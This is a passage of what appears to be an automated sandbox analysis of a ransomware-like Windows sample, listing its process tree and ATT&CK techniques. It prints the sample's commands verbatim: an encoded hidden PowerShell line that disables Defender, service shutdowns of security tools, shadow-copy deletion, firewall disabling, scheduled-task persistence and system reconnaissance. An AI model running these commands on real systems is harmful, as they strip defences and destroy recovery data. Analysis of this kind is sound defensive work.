PID 6132 wrote to memory of 4916	6132	gdttoken.io_chrome.exe	119
PID 6132 wrote to memory of 1156	6132	gdttoken.io_chrome.exe	167
PID 6132 wrote to memory of 940	6132	gdttoken.io_chrome.exe	123
PID 2704 wrote to memory of 3092	2704	fodhelper.exe	164
PID 6132 wrote to memory of 4724	6132	gdttoken.io_chrome.exe	126
PID 6132 wrote to memory of 2840	6132	gdttoken.io_chrome.exe	133
PID 6132 wrote to memory of 2968	6132	gdttoken.io_chrome.exe	134
PID 6132 wrote to memory of 4716	6132	gdttoken.io_chrome.exe	136
PID 6132 wrote to memory of 2056	6132	gdttoken.io_chrome.exe	141
PID 6132 wrote to memory of 6388	6132	gdttoken.io_chrome.exe	142
PID 6132 wrote to memory of 400	6132	gdttoken.io_chrome.exe	144
PID 6132 wrote to memory of 4100	6132	gdttoken.io_chrome.exe	145
PID 6132 wrote to memory of 6264	6132	gdttoken.io_chrome.exe	146
PID 6132 wrote to memory of 2488	6132	gdttoken.io_chrome.exe	147
PID 6132 wrote to memory of 5248	6132	gdttoken.io_chrome.exe	148
PID 6132 wrote to memory of 4824	6132	gdttoken.io_chrome.exe	154
PID 6132 wrote to memory of 3064	6132	gdttoken.io_chrome.exe	157
PID 6132 wrote to memory of 5624	6132	gdttoken.io_chrome.exe	158
PID 400 wrote to memory of 3380	400	cmd.exe	159
PID 2488 wrote to memory of 6500	2488	cmd.exe	160
PID 6264 wrote to memory of 1196	6264	cmd.exe	161
PID 4100 wrote to memory of 6856	4100	cmd.exe	162
PID 5248 wrote to memory of 1688	5248	cmd.exe	163
PID 6388 wrote to memory of 3092	6388	cmd.exe	164
PID 2056 wrote to memory of 1812	2056	cmd.exe	165
PID 1196 wrote to memory of 2400	1196	net.exe	166
PID 6132 wrote to memory of 1156	6132	gdttoken.io_chrome.exe	167
PID 6132 wrote to memory of 3728	6132	gdttoken.io_chrome.exe	168
PID 6132 wrote to memory of 6224	6132	gdttoken.io_chrome.exe	169
PID 6132 wrote to memory of 6484	6132	gdttoken.io_chrome.exe	170
PID 6132 wrote to memory of 3496	6132	gdttoken.io_chrome.exe	171
PID 6132 wrote to memory of 6928	6132	gdttoken.io_chrome.exe	172
PID 6224 wrote to memory of 4756	6224	net.exe	179
PID 2056 wrote to memory of 2572	2056	cmd.exe	180
PID 4140 wrote to memory of 5824	4140	chrome.exe	181
PID 4140 wrote to memory of 4348	4140	chrome.exe	201
PID 4140 wrote to memory of 4348	4140	chrome.exe	201
PID 4140 wrote to memory of 3884	4140	chrome.exe	183
PID 4140 wrote to memory of 3884	4140	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\gdttoken.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\gdttoken.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://gdttoken.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffc6944c728,0x7ffc6944c734,0x7ffc6944c740
    3⤵
    PID:3312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1476,i,283400596173213308,15867949735461862589,524288 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,14224342457363359979,9086861966809186291,262144 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
    3⤵
    PID:6808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2324,i,6164521753958918534,9748400251622748773,524288 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:13
    3⤵
    PID:6824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3096,i,693284781583418535,9539314366462092440,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:1
    3⤵
    PID:2636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3124,i,9637174355243324199,783346089515358676,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:1
    3⤵
    PID:4600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4644,i,8233620514600016747,719916212542509321,524288 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=4656 /prefetch:14
    3⤵
    PID:5904
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4844,i,16001079017854160369,3187588224459161995,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:1
    3⤵
    PID:3640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5424,i,11279325483431782805,377964927079187728,524288 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:14
    3⤵
    PID:5824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5480,i,12281790435064185022,16627934173042219242,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:1
    3⤵
    PID:4348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5492,i,13853358251393836075,1649265598487994803,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:1
    3⤵
    PID:3884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5672,i,5465241959314362131,5029941668421317817,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:1
    3⤵
    PID:6820
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5652,i,18008791775600192492,14569572870794638716,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:1
    3⤵
    PID:1784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5980,i,1220851421925052845,14096533589737306013,524288 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:14
    3⤵
    PID:3396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5900,i,5736651506781648698,10832598010570754013,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:1
    3⤵
    PID:3372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6228,i,14108768189625156168,6675462276023796373,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:1
    3⤵
    PID:4648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6232,i,9070010454352211215,10075451832826576933,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:1
    3⤵
    PID:1640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6016,i,5944029932243479637,14133684595130085257,524288 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:14
    3⤵
    PID:1412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6280,i,1088415414070121657,11680587402243843573,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:1
    3⤵
    PID:4128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5620,i,7548165839431218996,9203080718388422389,524288 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:14
    3⤵
    PID:2616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6180,i,13424197257518730767,709063813500650467,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:9
    3⤵
    PID:4880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6208,i,11366005647445232059,9873683835497742221,2097152 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5748 /prefetch:1
    3⤵
    PID:6636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5460,i,2187771034775545004,8609289326674044340,524288 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:14
    3⤵
    PID:6488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5444,i,6658322345833800037,1375081584075308527,524288 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:14
    3⤵
    PID:4532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6128,i,8883049013399569407,5608342490222696907,524288 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=4924 /prefetch:14
    3⤵
    PID:4348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4960,i,15352587060733496387,6324712425125592669,262144 --field-trial-handle=1912,i,6622044011141048358,12079692599826800862,262144 --variations-seed-version --mojo-platform-channel-handle=1232 /prefetch:10
    3⤵
    PID:3064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3728
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4780
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:6720
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3012
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:7108
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1232
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1236
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Users\Admin\AppData\Local\Temp\gdttoken.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\gdttoken.io_chrome.exe"
    3⤵
    PID:3092
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4916
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1156
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:940
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4724
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2840
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\gdttoken.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2968
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\gdttoken.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1812
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6388
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3092
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:6856
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6264
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1196
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2400
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:6500
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5248
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1688
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\gdttoken.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4824
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3064
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5624
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1156
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3728
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6224
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4756
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:6484
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3496
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:6928

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5496

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4836

C:\Users\Admin\AppData\Local\Temp\gdttoken.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\gdttoken.io_chrome.exe
1⤵
PID:4620

C:\Users\Admin\AppData\Local\Temp\gdttoken.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\gdttoken.io_chrome.exe
1⤵
PID:4652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2060

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv V11FWUc91EeYt91kk0UtnA.0.2
1⤵
PID:3396

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery